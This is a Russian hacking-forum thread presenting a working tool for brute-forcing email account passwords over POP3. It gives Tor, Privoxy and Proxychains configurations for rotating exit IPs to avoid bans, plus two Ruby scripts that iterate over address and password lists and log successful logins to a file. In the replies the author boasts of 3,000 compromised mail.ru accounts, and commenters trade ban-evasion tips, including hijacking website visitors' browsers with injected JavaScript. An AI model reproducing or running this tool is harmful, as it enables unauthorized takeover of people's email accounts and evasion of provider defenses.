Авторские статьи Бессмертный универсальный брутфорс

Discussion in 'Статьи' started by lukmus, 28 Dec 2009.

  1. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    404
    Likes Received:
    118
    Reputations:
    23
    Сам простой способ перебора, избегающий бан - брутфорсить через прокси/соксы.
    Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.
    Наверное, для многих не секрет, что существует еще один способ - использование 'луковой маршрутизации'.
    Для передачи пакета через 'луковый маршрут' используют программу Tor.
    Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать здесь.

    Далее я рассмотрю использование tor'а для брутфорса email'ов по протоколу POP3.
    Итак, нам понадобиться:
    -собственно сам Tor;
    -Privoxy — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);
    -Proxychains - программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)

    Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:

    Tor (/etc/tor/torrc):
    Code:
    DataDirectory /var/lib/tor/.tor
    NewCircuitPeriod 1
    Group toranon
    User  toranon
    
    Privoxy (/etc/privoxy/config):
    Code:
    forward-socks4a / 127.0.0.1:9050 .
    confdir /etc/privoxy
    logdir /var/log/privoxy
    actionsfile standard  # Internal purpose, recommended
    actionsfile default   # Main actions file
    actionsfile user      # User customizations
    filterfile default.filter
    debug   4096 # Startup banner and warnings
    debug   8192 # Errors - *we highly recommended enabling this*
    
    user-manual /usr/share/doc/privoxy/user-manual
    listen-address  127.0.0.1:8118
    toggle  1
    enable-remote-toggle 0
    enable-edit-actions 0
    enable-remote-http-toggle 0
    buffer-limit 4096
    
    Proxychains (/etc/proxychains.conf):
    Code:
    #dynamic_chain
    random_chain  #случайный сервер
    chain_len = 1 #максимальная длина цепи
    tcp_read_time_out 20000
    tcp_connect_time_out 20000
    #список серверов
    socks4 127.0.0.1 9050  
    socks4 127.0.0.1 9050
    socks4 127.0.0.1 9050
    socks4 127.0.0.1 9050
    
    Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.

    Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:
    1)скрипт инициирующий соединение, будет запускаться под tor'ом
    2)скрипт инициирующий запуск первого скрипта.

    1)На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)
    Code:
    #!/usr/bin/ruby
    require 'net/pop'
    
    n=ARGV.size
    if n!=3
      puts "Not enought arguments\n <[email protected]> <pass> <goodfile>"
      exit
    end
    
    login=ARGV[0].split('@')[0]
    pop_server='pop.'+ARGV[0].split('@')[1]
    paswd=ARGV[1]
    outfile=ARGV[2]
    
    puts "/#{pop_server}/#{login}/#{paswd}/"
    invalid=false
    begin
    	begin
    		Net::POP3.auth_only(pop_server, 110,login, paswd)
    	rescue Net::POPAuthenticationError
    		 invalid=true
    		puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}"
    	end
    rescue => e
    	invalid=true
    	puts "#{Time.now} can't connect #{e}"
    #retry
    end
    
    if invalid==false
    	puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}"
    	File.open(outfile,"a") do |sfile|
                      sfile.puts "#{Time.now}  #{ARGV[0]}:#{ARGV[1]}"
            end
    end
    
    2)На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)
    Code:
    #!/usr/bin/ruby
    
    n=ARGV.size
    if n<1 or n>2
      puts "Not enought arguments\n <inputfile> [<outputfile>]"
      exit
    end
    
    
    infile=ARGV[0]
    if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end
    
    begin
    	file=File.new(infile)
    rescue => e
    	puts "Inputfile error:#{e}"
    end
    
    pass=['yourfirstpass','yoursecondpass','yourthirdpass','etc']
    
    str=''
    no=0
    while str!=nil
    	puts "#{no})"
    	str=file.gets
    	if str!=nil
    		mail=str.to_s.chop!
    			
    			pass.each do |paswd|
    				puts "proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}"
    				system("proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}")
    			sleep(3) #интервал между запросами
    			end
    	end
    	no+=1
    end
    
    file.close
    
    Теперь рассмотрим прицип работы:
    -скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: 'proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}'
    -bash запускает proxychains
    -proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor'ом, где обновлять страницу скажем 2ip.ru)
    -по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации

    Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.

    Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.
    Увеличить скорость работы приведенных скриптов можно добавив многопоточность.
     
    5 people like this.
  2. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,185
    Likes Received:
    618
    Reputations:
    690
    Креативно, интересная реализация ...
    пшел тестит.
     
    _________________________
  3. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Ноды тора тем более в бане.. Из него даже в гугле без капчи не поищешь
     
  4. .Life

    .Life Banned

    Joined:
    26 Dec 2009
    Messages:
    81
    Likes Received:
    3
    Reputations:
    0
    хороша вещь..
    но у меня при установке ошибка
    file=File.new(infile) - ненайден.
     
  5. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    404
    Likes Received:
    118
    Reputations:
    23
    это капризы windows'а, ему нужно указать способ работы с файлом, короче надо записать так:
    file=File.new(infile,'r') или file=File.new(infile,'rb').
    Первый вариант годиться если разметка файла виндовская т.е. перевод строки \r\n, а второй если нормальная т.е. \n.
     
  6. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    404
    Likes Received:
    118
    Reputations:
    23
    приведи хоть одно доказательство, я же могу привести контрпример - 3к взломанных акков маi|.ru.
     
  7. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Неплохо) Но как я уже написал выше - гугл если не всегда, то ОЧЕНЬ часто при первом же запросе просит ввести капчу; если не ошибаюсь на ЛОРе нельзя писать из под тора... читал что есть сайты которые публикуют список нод (да и собственно получать его вручную не составляет проблемы).
    А после этой статьи количество сайтов банящих тор только увеличиться )
     
  8. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    404
    Likes Received:
    118
    Reputations:
    23
    это конечно может и так, однако никто здесь не говорил что этот метод ограничиваеться лишь http, в pop3, smtp, imap, ftp, telnet итд не просят капчу
     
  9. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    Аналог: фрейм на достаточно посещаемый сайт с замысловатым JS или AJAX, делающем грязную работу. Изврат, но равномерное распределение посетителей по странам гарантировано :D
     
  10. ~Shapaev~

    ~Shapaev~ Member

    Joined:
    24 Oct 2009
    Messages:
    29
    Likes Received:
    7
    Reputations:
    0
    немного не в тему , но на майл.ру если идти в 10-15 потоков по диапазону на один пароль , то бан не дают, а вот на других почтовиках твой способ будет норм работать.
     
  11. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    404
    Likes Received:
    118
    Reputations:
    23
    ну это уже сейчас, когда я делал такого не было
     
  12. Acid Burn

    Acid Burn New Member

    Joined:
    16 Sep 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    как ты privoxy настроил, если у тебя актуально?
     
  13. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    404
    Likes Received:
    118
    Reputations:
    23
    конфиг выложен в статье.
    способ будет жив пока SMTP, POP3, IMAP, FTP живы и в них нет какой-либо капчи. так что еще лет 3-5-10 будет работать.